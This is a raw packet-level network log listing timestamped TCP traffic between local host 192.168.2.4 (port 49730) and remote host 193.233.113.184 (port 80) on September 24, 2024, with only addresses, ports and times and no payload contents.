Sep 24, 2024 21:30:09.596657991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.596661091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.596684933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.596699953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.597449064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597465038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597479105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597495079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597502947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.597511053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597527981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597539902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.597543001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597559929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597577095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597584009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.597594976 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.597608089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.597625971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.597656965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.622679949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.622749090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.622903109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.622935057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.622960091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.622987032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.622991085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623023987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623039007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623058081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623071909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623107910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623199940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623233080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623254061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623270035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623275995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623298883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623317957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623353004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623473883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623507023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623539925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623544931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623572111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623574972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623590946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623610020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623631001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623658895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.623955965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.623989105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624012947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624025106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624047041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624068975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624335051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624366999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624387026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624399900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624408960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624434948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624445915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624469042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624481916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624505043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624514103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624541044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624553919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624573946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624596119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624607086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.624615908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.624656916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625082970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625132084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625197887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625232935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625258923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625266075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625293970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625302076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625310898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625335932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625350952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625370026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625381947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625405073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625417948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625439882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.625449896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.625488043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626148939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626183033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626204014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626218081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626229048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626251936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626262903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626285076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626302958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626319885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626331091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626353979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626373053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626386881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626395941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626420975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.626431942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.626463890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627033949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627068043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627087116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627101898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627115011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627139091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627150059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627171993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627186060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627206087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627219915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627239943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627254009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627274036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627285004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627307892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627326012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627360106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627794027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627829075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627845049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627863884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.627880096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.627918959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667313099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667371035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667395115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667414904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667435884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667526007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667541027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667561054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667588949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667774916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667799950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667809010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667812109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667843103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667855024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667879105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667890072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667915106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.667922020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.667962074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669286966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669322014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669348955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669358015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669378042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669403076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669409990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669450998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669464111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669481993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669497013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669523954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669529915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669565916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669574022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669595957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669610977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669629097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669641972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669662952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669681072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669694901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669708014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669732094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669742107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669764996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669775963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669799089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669809103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669832945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669850111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669866085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669879913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669900894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669922113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669936895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669943094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.669971943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.669994116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670006990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670026064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670041084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670058966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670073986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670084953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670119047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670455933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670489073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670510054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670521975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670537949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670556068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670566082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670588970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670595884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670623064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670633078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670656919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670663118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670691967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670705080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670732021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.670741081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.670775890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671303988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671339035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671371937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671442986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671443939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671477079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671505928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671513081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671505928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671505928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671533108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671547890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671581030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671597004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671614885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.671618938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671653986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.671745062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682609081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682662964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682681084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682715893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682743073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682766914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682842016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682874918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682889938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682913065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682919979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682951927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.682957888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.682997942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.683155060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.683207035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711417913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711507082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711508036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711546898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711558104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711575985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711596012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711599112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711622000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711642981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711652040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711668968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711685896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711699009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.711699963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711715937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711745977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.711965084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712014914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712028980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712044954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712059975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712071896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712078094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712089062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712110996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712131023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712467909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712483883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712498903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712515116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712522984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712532997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712549925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.712567091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.712604046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713005066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713020086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713036060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713051081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713058949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713068008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713084936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713098049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713102102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713119030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713135958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713179111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713884115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713898897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713912964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713921070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713929892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713944912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713959932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713970900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.713975906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.713992119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714005947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714014053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714032888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714041948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714080095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714654922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714672089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714680910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714696884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714713097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714737892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714754105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714762926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.714795113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714795113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714795113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.714816093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.715552092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715567112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715581894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715598106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715600967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.715615988 CEST	80	49730	193.233.113.184	192.168.2.4
